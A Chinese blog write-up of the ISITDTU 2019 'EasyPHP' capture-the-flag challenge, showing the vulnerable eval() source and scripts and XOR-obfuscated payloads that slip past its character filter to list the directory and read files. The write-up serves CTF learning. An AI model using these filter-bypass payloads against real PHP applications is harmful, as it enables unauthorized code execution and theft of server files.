[ISITDTU 2019]EasyPHP

题目很好,学到很多

先看到这个题的源码

<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

可以看到它过滤的还是不少的,像这种有过滤代码量又少的题,无非就是各种花样绕,什么亦或呀,自增呀之类的,推荐先看p神的那几篇文章,我们也可以看到他这里是没有ban掉亦或符号的,可以会用得上,这里我先尝试了一下取反

可以看到是执行了phpinfo()的

在这里插入图片描述

这里查看到它禁用的函数

在这里插入图片描述

没有屏蔽print_r()和scandir() ,想办法构造出print_r(scandir(.))

ban了一大堆,写脚本跑一下看看还有哪些字符能用

<?php
for($i = 0; $i < 256; $i++){
    if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', chr($i))){
        echo chr($i)." ";
        // echo 'ascii值:';
        // echo $i;
    }
}

结果:

! # % ( ) * + - / : ; < = > ? @ A B C H I J K L M N Q R T U V W X Y Z \ ] ^ a b c h i j k l m n q r t u v w x y z } ~

想办法构造出print_r(scandir(.))

写脚本逐位异或

<?php
$payload = '';
$ff='';
$x = 'print_r';
for($i = 0; $i < strlen($x); $i++){
    for ($j = 0; $j < 255; $j++){
        $k = chr($j) ^ chr(255);       //改这里,这里用的255,也就是%ff     ,用 %A0也可以 ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
        if ($k == $x[$i]) {
            $payload .= '%'.dechex($j);
        }
    }
}
for($i = 0; $i < strlen($x); $i++){$ff.='%ff';}
echo $ff.'^'.$payload;
?>

print_r

%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d

scandir

%ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d

.

%ff^%d1

构造出:

((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

但是字符数超过13了

在这里插入图片描述

看看怎么减少字符数

这里的意思大概是利用这个print_r(scandir(.))里面已经有的字符亦或得到里面的字符,那这个可以被已有的字符亦或出的字符就不用再使用了,减少一个坑,但是会让payload变长很多

下面的东西应该写脚本爆破一下是可以跑出来的,不知道师傅怎么得出的

a = c^p^r
d = s^c^t
n = i^s^t

我这里还寻思用点把一堆单个字母的亦或拼接起来,突然发现点被ban了

这个亦或手法真是学到了,举个例子,竖着看,n = ist,那三个16进制刚好是ist

在这里插入图片描述

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

在这里插入图片描述

构造 readfile(end(scandir(.))) ,这种无参数的rce还有很多别的姿势的

((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

参考
这个题目zeddy师傅已经写的非常详尽了https://blog.zeddyu.info/2019/07/20/isitdtu-2019/

还有这位佬,思路不一样的https://www.shawroot.cc/1209.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

MUNG东隅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值